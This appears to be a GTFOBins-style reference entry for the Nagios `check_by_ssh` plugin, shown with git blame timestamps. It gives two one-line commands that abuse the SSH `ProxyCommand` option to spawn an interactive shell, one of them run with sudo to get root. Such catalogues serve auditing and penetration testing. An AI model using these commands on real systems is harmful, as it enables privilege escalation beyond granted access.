2020-11-12 14:21:00 +01:00
|
|
|
---
|
|
|
|
description: |
|
|
|
|
This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
|
2023-09-14 22:42:57 +02:00
|
|
|
|
|
|
|
When `check_by_ssh` version `2.4.5` (2023-05-31) or later from the Nagios
|
|
|
|
Plugins project in it's default configuration is used, it does not work anymore.
|
|
|
|
|
|
|
|
It does still work on previous versions from the Nagios Plugins project or
|
|
|
|
all versions from the Monitoring Project (e.g. used by Ubuntu/Debian).
|
2020-11-12 14:21:00 +01:00
|
|
|
functions:
|
2020-12-20 19:32:15 +01:00
|
|
|
shell:
|
|
|
|
- description: The shell will only last 10 seconds.
|
|
|
|
code: check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx
|
2020-11-12 14:21:00 +01:00
|
|
|
sudo:
|
2020-12-20 19:32:15 +01:00
|
|
|
- description: The shell will only last 10 seconds.
|
|
|
|
code: sudo check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx
|
2020-11-12 14:21:00 +01:00
|
|
|
---
|